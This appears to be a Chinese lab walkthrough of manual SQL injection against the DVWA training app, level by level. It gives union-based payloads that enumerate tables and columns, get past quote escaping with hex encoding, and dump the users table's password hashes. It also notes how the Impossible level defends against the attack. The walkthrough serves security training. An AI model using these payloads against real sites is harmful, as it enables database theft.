SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。
===================================================================
·手工注入(非盲注)的步骤:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
===================================================================
·注入类型:
数字型: SELECT 列 FROM 表 WHERE 数字型列=值
字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’
搜索型: SELECT * FROM 表 WHERE where 被搜索的列 like ‘%值%’
===================================================================
·Low级别:对来自客户端的参数id没有进行任何的检查与过滤
①判断是否存在注入,注入是字符型还是数字型
1
1'and'1'='2'
1'or'1234'='1234'
若成功则说明存在字符型注入
②猜解SQL查询语句中的字段数
1'or 1=1 order by 1#
1'or 1=1 order by 2#
……
查询到多少就是有多少个字段
也可以通过union select 1,2,3……来猜解字段数
③确定显示的字段顺序
1'union select 1,2,3……#
④获取当前的数据库
1'union select 1,database()#
⑤获取数据库中的表
1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
⑥获取表中的字段名
1′ union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
⑦下载数据
1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
·Medium级别:利用相关函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了限制,如下拉选择表单,希望以此来控制用户的输入
〇若使用了下拉选择表单,可以通过抓包改参数,提交恶意构造的查询参数
①判断是否存在注入,注入是字符型还是数字型
1 or 1=1#
若成功则说明存在数字型注入
②猜解SQL查询语句中的字段数
1 order by 1#
1 order by 2#
……
查询到数字几就说明有多少个字段数
③确定显示的字段顺序
1 union select 1,2#
④获取当前的数据库
1 union select 1,database()#
⑤获取数据库中的表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
⑥获取表中的字段名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
失败。因为单引号被转义了,可以利用16进制绕过,即将表名转为16进制数据
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
⑦下载数据
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
·High级别:在查询语句中进行了一定程度的限制,例如:在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果
〇通过#将查询语句中的限制注释掉即可:
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
需要特别提到的是,High级别的查询提交页面与查询结果显示页面若不是同一个,也没有执行302跳转,则这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
·Impossible级别:采用了相关技术,划清了代码与数据的界限,有效防御SQL注入,同时进行查询语句的相关限制,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入可进一步提高了安全性。